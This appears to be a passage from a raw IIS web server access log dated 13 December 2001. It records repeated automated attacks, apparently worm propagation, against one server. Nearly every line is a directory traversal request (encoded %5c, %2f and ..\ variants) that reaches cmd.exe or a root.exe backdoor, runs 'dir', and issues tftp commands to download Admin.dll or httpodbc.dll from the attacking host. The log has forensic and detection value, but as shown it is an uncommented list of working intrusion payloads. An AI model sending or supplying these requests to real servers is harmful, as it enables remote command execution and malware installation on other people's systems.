%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.113.19%20GET%20Admin.dll%20d:\Admin.dll 502
2001-12-13 15:06:23 217.57.113.19 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.113.19%20GET%20Admin.dll%20e:\Admin.dll 502
2001-12-13 15:06:23 217.57.113.19 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../Admin.dll - 500
2001-12-13 15:06:25 217.57.113.19 - 217.57.163.98 80 GET /_mem_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404
2001-12-13 15:06:35 217.57.113.19 - 217.57.163.98 80 GET /msadc/..
%5c../..%5c../..%5c/..../..../..../winnt/system32/cmd.exe /c+dir
403
2001-12-13 15:07:38 217.136.27.227 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.136.27.227%20GET
%20Admin.dll%20e:\Admin.dll 502
2001-12-13 15:07:42 217.136.27.227 - 217.57.163.98 80 GET /scripts/..
%5c../Admin.dll - 500
2001-12-13 15:07:46 217.136.27.227 - 217.57.163.98 80 GET /scripts/..
%2f../winnt/system32/cmd.exe /c+dir 200
2001-12-13 15:08:28 217.136.27.227 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.136.27.227%20GET
%20Admin.dll%20e:\Admin.dll 502
2001-12-13 15:09:23 217.136.27.227 - 217.57.163.98 80 GET /scripts/..
%2f../winnt/system32/cmd.exe /c+tftp%20-i%20217.136.27.227%20GET
%20Admin.dll%20d:\Admin.dll 502
2001-12-13 15:09:28 217.136.27.227 - 217.57.163.98 80 GET /scripts/..
%2f../winnt/system32/cmd.exe /c+tftp%20-i%20217.136.27.227%20GET
%20Admin.dll%20e:\Admin.dll 502
2001-12-13 15:09:33 217.136.27.227 - 217.57.163.98 80 GET /scripts/..
%2f../Admin.dll - 500
2001-12-13 15:09:40 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.113.19%20GET
%20Admin.dll%20d:\Admin.dll 502
2001-12-13 15:10:15 217.136.27.227 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.136.27.227%20GET
%20Admin.dll%20d:\Admin.dll 502

2001-12-13
15:12:11
217.136.27.227
217.57.163.98
80
GET
/scripts/..
%2f../winnt/system32/cmd.exe
/c+tftp%20-i%20217.136.27.227%20GET%20Admin.dll
%20c:\Admin.dll 502
2001-12-13 16:37:59 217.57.44.21 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 200
2001-12-13 16:38:47 217.57.44.21 - 217.57.163.98 80 GET
/scripts/root.exe /c+tftp%20-i%20217.57.44.21%20GET%20Admin.dll
%20Admin.dll 502
2001-12-13 16:38:47 217.57.44.21 - 217.57.163.98 80 GET
/MSADC/root.exe /c+dir 403 2001-12-13 16:38:47 217.57.44.21 - 217.57.163.98 80 GET
/c/winnt/system32/cmd.exe /c+dir 404
2001-12-13 16:38:47 217.57.44.21 - 217.57.163.98 80 GET
/d/winnt/system32/cmd.exe /c+dir 404
2001-12-13 16:38:47 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200
2001-12-13 16:38:47 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.44.21%20GET
%20Admin.dll%20c:\Admin.dll 502
2001-12-13 16:38:48 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.44.21%20GET
%20Admin.dll%20d:\Admin.dll 502
2001-12-13 16:38:48 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.44.21%20GET
%20Admin.dll%20e:\Admin.dll 502

2001-12-13 16:38:48 217.57.44.21 - 217.57.163.98 80 GET /scripts/..%5c../Admin.dll - 500


2001-12-13 16:38:48 217.57.44.21 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.44.21%20GET%20Admin.dll%20c:\Admin.dll 502
2001-12-13 16:38:49 217.57.44.21 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.44.21%20GET%20Admin.dll%20d:\Admin.dll 502
2001-12-13 16:38:49 217.57.44.21 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.44.21%20GET%20Admin.dll%20e:\Admin.dll 502
2001-12-13 16:38:49 217.57.44.21 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../Admin.dll - 500
2001-12-13 16:38:49 217.57.44.21 - 217.57.163.98 80 GET /_mem_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404
2001-12-13 16:38:49 217.57.44.21 - 217.57.163.98 80 GET /msadc/..
%5c../..%5c../..%5c/..../..../..../winnt/system32/cmd.exe /c+dir
403 2001-12-13 16:38:49 217.57.44.21 - 217.57.163.98 80 GET
/scripts/..../winnt/system32/cmd.exe /c+dir 500

2001-12-13 16:38:49 217.57.44.21 - 217.57.163.98 80 GET


/scripts/winnt/system32/cmd.exe /c+dir 404
2001-12-13 16:38:49 217.57.44.21 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe /c+dir 200
2001-12-13 16:38:50 217.57.44.21 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.44.21%20GET%20Admin.dll%20c:\Admin.dll 502
2001-12-13 16:38:50 217.57.44.21 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.44.21%20GET%20Admin.dll%20d:\Admin.dll 502
2001-12-13 16:38:50 217.57.44.21 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.44.21%20GET%20Admin.dll%20e:\Admin.dll 502
2001-12-13 16:38:50 217.57.44.21 - 217.57.163.98 80 GET
/scripts/..\../winnt/system32/cmd.exe /c+dir 200
2001-12-13 16:38:51 217.57.44.21 - 217.57.163.98 80 GET
/scripts/..\../Admin.dll - 500
2001-12-13 16:38:51 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200
2001-12-13 16:38:52 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.44.21%20GET
%20Admin.dll%20d:\Admin.dll 502
2001-12-13 16:38:52 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.44.21%20GET
%20Admin.dll%20e:\Admin.dll 502
2001-12-13 16:38:52 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%5c../Admin.dll - 500
2001-12-13 16:38:52 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200
2001-12-13 16:38:53 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.44.21%20GET
%20Admin.dll%20c:\Admin.dll 502
2001-12-13 16:38:53 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.44.21%20GET
%20Admin.dll%20d:\Admin.dll 502
2001-12-13 16:38:53 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.44.21%20GET
%20Admin.dll%20e:\Admin.dll 502
2001-12-13 16:38:53 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%5c../Admin.dll - 500
2001-12-13 16:38:53 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200

2001-12-13 16:38:54 217.57.44.21 - 217.57.163.98 80 GET /scripts/..


%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.44.21%20GET
%20Admin.dll%20c:\Admin.dll 502
2001-12-13 16:38:54 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.44.21%20GET
%20Admin.dll%20d:\Admin.dll 502
2001-12-13 16:38:54 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.44.21%20GET
%20Admin.dll%20e:\Admin.dll 502 2001-12-13 16:38:54 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%5c../Admin.dll - 500 2001-12-13 16:38:54 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%2f../winnt/system32/cmd.exe /c+dir 200 2001-12-13 16:38:55 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%2f../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.44.21%20GET
%20Admin.dll%20c:\Admin.dll 502 2001-12-13 16:38:55 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%2f../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.44.21%20GET
%20Admin.dll%20d:\Admin.dll 502 2001-12-13 16:38:55 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%2f../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.44.21%20GET
%20Admin.dll%20e:\Admin.dll 502 2001-12-13 16:38:55 217.57.44.21 - 217.57.163.98 80 GET /scripts/..
%2f../Admin.dll - 500
2001-12-13 16:52:28 217.72.72.166 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 200 2001-12-13 16:52:28 217.72.72.166 - 217.57.163.98 80 GET /scripts/root.exe /c+tftp%20-i
%20217.72.72.166%20GET%20cool.dll%20httpodbc.dll 502 2001-12-13 16:52:30 217.72.72.166 - 217.57.163.98 80 GET
/scripts/httpodbc.dll - 500 2001-12-13 16:52:30 217.72.72.166 - 217.57.163.98 80 GET
/MSADC/root.exe /c+dir 403 2001-12-13 16:52:33 217.72.72.166 - 217.57.163.98 80 GET
/c/winnt/system32/cmd.exe /c+dir 404 2001-12-13 16:52:35 217.72.72.166 - 217.57.163.98 80 GET
/d/winnt/system32/cmd.exe /c+dir 404 2001-12-13 16:52:36 217.72.72.166 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200 2001-12-13 16:52:38 217.72.72.166 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.72.72.166%20GET
%20cool.dll%20c:\httpodbc.dll 502 2001-12-13 16:52:40 217.72.72.166 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.72.72.166%20GET
%20cool.dll%20d:\httpodbc.dll 502 2001-12-13 16:52:40 217.72.72.166 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.72.72.166%20GET
%20cool.dll%20e:\httpodbc.dll 502 2001-12-13 16:52:42 217.72.72.166 - 217.57.163.98 80 GET /scripts/..
%5c../httpodbc.dll - 500 2001-12-13 16:52:42 217.72.72.166 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 200 2001-12-13 16:52:43 217.72.72.166 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.72.72.166%20GET%20cool.dll%20c:\httpodbc.dll 502 2001-12-13 16:52:45 217.72.72.166 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.72.72.166%20GET%20cool.dll%20d:\httpodbc.dll 502 -

2001-12-13 16:52:46 217.72.72.166 - 217.57.163.98 80 GET /_vti_bin/..


%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.72.72.166%20GET%20cool.dll%20e:\httpodbc.dll 502 2001-12-13 16:52:47 217.72.72.166 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../httpodbc.dll - 500 2001-12-13 16:52:49 217.72.72.166 - 217.57.163.98 80 GET /_mem_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 2001-12-13 16:52:51 217.72.72.166 - 217.57.163.98 80 GET /msadc/..
%5c../..%5c../..%5c/..../..../..../winnt/system32/cmd.exe /c+dir
403 2001-12-13 16:52:52 217.72.72.166 - 217.57.163.98 80 GET
/scripts/..../winnt/system32/cmd.exe /c+dir 500 2001-12-13 16:52:54 217.72.72.166 - 217.57.163.98 80 GET
/scripts/winnt/system32/cmd.exe /c+dir 404 2001-12-13 16:52:57 217.72.72.166 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe /c+dir 200 2001-12-13 16:52:57 217.72.72.166 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe /c+tftp%20-i
%20217.72.72.166%20GET%20cool.dll%20c:\httpodbc.dll 502 2001-12-13 16:52:59 217.72.72.166 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe /c+tftp%20-i
%20217.72.72.166%20GET%20cool.dll%20d:\httpodbc.dll 502 2001-12-13 16:52:59 217.72.72.166 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe /c+tftp%20-i
%20217.72.72.166%20GET%20cool.dll%20e:\httpodbc.dll 502 2001-12-13 16:52:59 217.72.72.166 - 217.57.163.98 80 GET
/scripts/../../httpodbc.dll - 500 2001-12-13 16:53:00 217.72.72.166 - 217.57.163.98 80 GET
/scripts/..\../winnt/system32/cmd.exe /c+dir 200 2001-12-13 16:53:00 217.72.72.166 - 217.57.163.98 80 GET
/scripts/..\../winnt/system32/cmd.exe /c+tftp%20-i
%20217.72.72.166%20GET%20cool.dll%20c:\httpodbc.dll 502 2001-12-13 16:53:02 217.72.72.166 - 217.57.163.98 80 GET
/scripts/..\../winnt/system32/cmd.exe /c+tftp%20-i
%20217.72.72.166%20GET%20cool.dll%20d:\httpodbc.dll 502 2001-12-13 16:53:02 217.72.72.166 - 217.57.163.98 80 GET
/scripts/..\../winnt/system32/cmd.exe /c+tftp%20-i
%20217.72.72.166%20GET%20cool.dll%20e:\httpodbc.dll 502 2001-12-13 16:53:03 217.72.72.166 - 217.57.163.98 80 GET
/scripts/..\../httpodbc.dll - 500 2001-12-13 16:53:03 217.72.72.166 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200 2001-12-13 16:53:04 217.72.72.166 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.72.72.166%20GET
%20cool.dll%20c:\httpodbc.dll 502 2001-12-13 16:53:04 217.72.72.166 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.72.72.166%20GET
%20cool.dll%20d:\httpodbc.dll 502 2001-12-13 16:53:05 217.72.72.166 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.72.72.166%20GET
%20cool.dll%20e:\httpodbc.dll 502 2001-12-13 16:53:05 217.72.72.166 - 217.57.163.98 80 GET /scripts/..
%5c../httpodbc.dll - 500 2001-12-13 16:53:05 217.72.72.166 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200 2001-12-13 16:53:06 217.72.72.166 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.72.72.166%20GET
%20cool.dll%20c:\httpodbc.dll 502 2001-12-13 16:53:06 217.72.72.166 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.72.72.166%20GET
%20cool.dll%20d:\httpodbc.dll 502 -

2001-12-13 16:53:08 217.72.72.166 - 217.57.163.98 80 GET /scripts/..


%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.72.72.166%20GET
%20cool.dll%20e:\httpodbc.dll 502 2001-12-13 16:53:08 217.72.72.166 - 217.57.163.98 80 GET /scripts/..
%5c../httpodbc.dll - 500 2001-12-13 16:53:08 217.72.72.166 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200 2001-12-13 16:53:09 217.72.72.166 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.72.72.166%20GET
%20cool.dll%20c:\httpodbc.dll 502 2001-12-13 16:53:09 217.72.72.166 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.72.72.166%20GET
%20cool.dll%20d:\httpodbc.dll 502 2001-12-13 16:53:10 217.72.72.166 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.72.72.166%20GET
%20cool.dll%20e:\httpodbc.dll 502 2001-12-13 16:53:10 217.72.72.166 - 217.57.163.98 80 GET /scripts/..
%5c../httpodbc.dll - 500 2001-12-13 16:53:10 217.72.72.166 - 217.57.163.98 80 GET /scripts/..
%2f../winnt/system32/cmd.exe /c+dir 200 2001-12-13 16:53:12 217.72.72.166 - 217.57.163.98 80 GET /scripts/..
%2f../winnt/system32/cmd.exe /c+tftp%20-i%20217.72.72.166%20GET
%20cool.dll%20c:\httpodbc.dll 502 2001-12-13 16:53:12 217.72.72.166 - 217.57.163.98 80 GET /scripts/..
%2f../winnt/system32/cmd.exe /c+tftp%20-i%20217.72.72.166%20GET
%20cool.dll%20d:\httpodbc.dll 502 2001-12-13 16:53:13 217.72.72.166 - 217.57.163.98 80 GET /scripts/..
%2f../winnt/system32/cmd.exe /c+tftp%20-i%20217.72.72.166%20GET
%20cool.dll%20e:\httpodbc.dll 502 2001-12-13 16:53:13 217.72.72.166 - 217.57.163.98 80 GET /scripts/..
%2f../httpodbc.dll - 500 2001-12-13 16:56:16 217.57.241.234 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 200 2001-12-13 16:58:48 217.57.241.234 - 217.57.163.98 80 GET
/scripts/root.exe /c+tftp%20-i%20217.57.241.234%20GET%20Admin.dll
%20Admin.dll 502 2001-12-13 17:01:39 217.57.113.19 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 200 2001-12-13 17:01:39 217.57.113.19 - 217.57.163.98 80 GET
/scripts/root.exe /c+tftp%20-i%20217.57.113.19%20GET%20Admin.dll
%20Admin.dll 502 2001-12-13 17:01:40 217.57.113.19 - 217.57.163.98 80 GET
/scripts/Admin.dll - 500 2001-12-13 17:01:40 217.57.113.19 - 217.57.163.98 80 GET
/MSADC/root.exe /c+dir 403 2001-12-13 17:01:44 217.57.113.19 - 217.57.163.98 80 GET
/c/winnt/system32/cmd.exe /c+dir 404 2001-12-13 17:01:44 217.57.113.19 - 217.57.163.98 80 GET
/d/winnt/system32/cmd.exe /c+dir 404 2001-12-13 17:01:44 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200 2001-12-13 17:01:45 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.113.19%20GET
%20Admin.dll%20c:\Admin.dll 502 2001-12-13 17:01:45 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.113.19%20GET
%20Admin.dll%20d:\Admin.dll 502 2001-12-13 17:01:46 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.113.19%20GET
%20Admin.dll%20e:\Admin.dll 502 -

2001-12-13 17:01:46 217.57.113.19 - 217.57.163.98 80 GET /scripts/..


%5c../Admin.dll - 500 2001-12-13 17:01:46 217.57.113.19 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 200 2001-12-13 17:01:46 217.57.113.19 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.113.19%20GET%20Admin.dll%20c:\Admin.dll 502 2001-12-13 17:01:58 217.57.113.19 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.113.19%20GET%20Admin.dll%20d:\Admin.dll 502 2001-12-13 17:01:58 217.57.113.19 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.113.19%20GET%20Admin.dll%20e:\Admin.dll 502 2001-12-13 17:01:59 217.57.113.19 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../Admin.dll - 500 2001-12-13 17:01:59 217.57.113.19 - 217.57.163.98 80 GET /_mem_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 2001-12-13 17:01:59 217.57.113.19 - 217.57.163.98 80 GET /msadc/..
%5c../..%5c../..%5c/..../..../..../winnt/system32/cmd.exe /c+dir
403 2001-12-13 17:02:00 217.57.113.19 - 217.57.163.98 80 GET
/scripts/..../winnt/system32/cmd.exe /c+dir 500 2001-12-13 17:02:00 217.57.113.19 - 217.57.163.98 80 GET
/scripts/winnt/system32/cmd.exe /c+dir 404 2001-12-13 17:02:04 217.57.113.19 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe /c+dir 200 2001-12-13 17:02:04 217.57.113.19 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.113.19%20GET%20Admin.dll%20c:\Admin.dll 502 2001-12-13 17:02:06 217.57.113.19 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.113.19%20GET%20Admin.dll%20d:\Admin.dll 502 2001-12-13 17:02:06 217.57.113.19 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.113.19%20GET%20Admin.dll%20e:\Admin.dll 502 2001-12-13 17:02:07 217.57.113.19 - 217.57.163.98 80 GET
/scripts/../../Admin.dll - 500 2001-12-13 17:02:07 217.57.113.19 - 217.57.163.98 80 GET
/scripts/..\../winnt/system32/cmd.exe /c+dir 200 2001-12-13 17:02:08 217.57.113.19 - 217.57.163.98 80 GET
/scripts/..\../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.113.19%20GET%20Admin.dll%20c:\Admin.dll 502 2001-12-13 17:02:08 217.57.113.19 - 217.57.163.98 80 GET
/scripts/..\../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.113.19%20GET%20Admin.dll%20d:\Admin.dll 502 2001-12-13 17:02:09 217.57.113.19 - 217.57.163.98 80 GET
/scripts/..\../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.113.19%20GET%20Admin.dll%20e:\Admin.dll 502 2001-12-13 17:02:13 217.57.113.19 - 217.57.163.98 80 GET
/scripts/..\../Admin.dll - 500 2001-12-13 17:02:13 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200 2001-12-13 17:02:14 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.113.19%20GET
%20Admin.dll%20c:\Admin.dll 502 2001-12-13 17:02:14 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.113.19%20GET
%20Admin.dll%20d:\Admin.dll 502 2001-12-13 17:02:16 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.113.19%20GET
%20Admin.dll%20e:\Admin.dll 502 -

2001-12-13 17:02:16 217.57.113.19 - 217.57.163.98 80 GET /scripts/..


%5c../Admin.dll - 500 2001-12-13 17:02:16 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200 2001-12-13 17:02:17 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.113.19%20GET
%20Admin.dll%20c:\Admin.dll 502 2001-12-13 17:02:17 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.113.19%20GET
%20Admin.dll%20d:\Admin.dll 502 2001-12-13 17:02:18 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.113.19%20GET
%20Admin.dll%20e:\Admin.dll 502 2001-12-13 17:02:18 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../Admin.dll - 500 2001-12-13 17:02:18 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200 2001-12-13 17:02:20 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.113.19%20GET
%20Admin.dll%20c:\Admin.dll 502 2001-12-13 17:02:20 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.113.19%20GET
%20Admin.dll%20d:\Admin.dll 502 2001-12-13 17:02:22 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.113.19%20GET
%20Admin.dll%20e:\Admin.dll 502 2001-12-13 17:02:22 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../Admin.dll - 500 2001-12-13 17:02:22 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%2f../winnt/system32/cmd.exe /c+dir 200 2001-12-13 17:02:23 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%2f../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.113.19%20GET
%20Admin.dll%20c:\Admin.dll 502 2001-12-13 17:02:23 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%2f../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.113.19%20GET
%20Admin.dll%20d:\Admin.dll 502 2001-12-13 17:02:27 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%2f../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.113.19%20GET
%20Admin.dll%20e:\Admin.dll 502 2001-12-13 17:02:31 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%2f../Admin.dll - 500
2001-12-13 18:49:39 217.57.241.234 - 217.57.163.98 80 GET /scripts/root.exe /c+dir 200 2001-12-13 18:49:39 217.57.241.234 - 217.57.163.98 80 GET
/scripts/root.exe /c+tftp%20-i%20217.57.241.234%20GET%20Admin.dll
%20Admin.dll 502 2001-12-13 18:49:41 217.57.241.234 - 217.57.163.98 80 GET
/scripts/Admin.dll - 500 2001-12-13 18:49:41 217.57.241.234 - 217.57.163.98 80 GET
/MSADC/root.exe /c+dir 403 2001-12-13 18:49:42 217.57.241.234 - 217.57.163.98 80 GET
/c/winnt/system32/cmd.exe /c+dir 404 2001-12-13 18:49:42 217.57.241.234 - 217.57.163.98 80 GET
/d/winnt/system32/cmd.exe /c+dir 404 2001-12-13 18:49:44 217.57.241.234 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200 2001-12-13 18:49:44 217.57.241.234 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.241.234%20GET
%20Admin.dll%20c:\Admin.dll 502 -

2001-12-13 18:49:46 217.57.241.234 - 217.57.163.98 80 GET /scripts/..


%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.241.234%20GET
%20Admin.dll%20d:\Admin.dll 502 2001-12-13 18:49:47 217.57.241.234 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.241.234%20GET
%20Admin.dll%20e:\Admin.dll 502 2001-12-13 18:49:49 217.57.241.234 - 217.57.163.98 80 GET /scripts/..
%5c../Admin.dll - 500 2001-12-13 18:49:50 217.57.241.234 - 217.57.163.98 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 200 2001-12-13 18:49:52 217.57.241.234 - 217.57.163.98 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.241.234%20GET%20Admin.dll%20c:\Admin.dll 502 2001-12-13 18:49:54 217.57.241.234 - 217.57.163.98 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.241.234%20GET%20Admin.dll%20d:\Admin.dll 502 2001-12-13 18:49:55 217.57.241.234 - 217.57.163.98 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.241.234%20GET%20Admin.dll%20e:\Admin.dll 502 2001-12-13 18:49:58 217.57.241.234 - 217.57.163.98 80 GET
/_vti_bin/..%5c../..%5c../..%5c../Admin.dll - 500 2001-12-13 18:49:59 217.57.241.234 - 217.57.163.98 80 GET
/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 2001-12-13 18:50:01 217.57.241.234 - 217.57.163.98 80 GET /msadc/..
%5c../..%5c../..%5c/..../..../..../winnt/system32/cmd.exe /c+dir
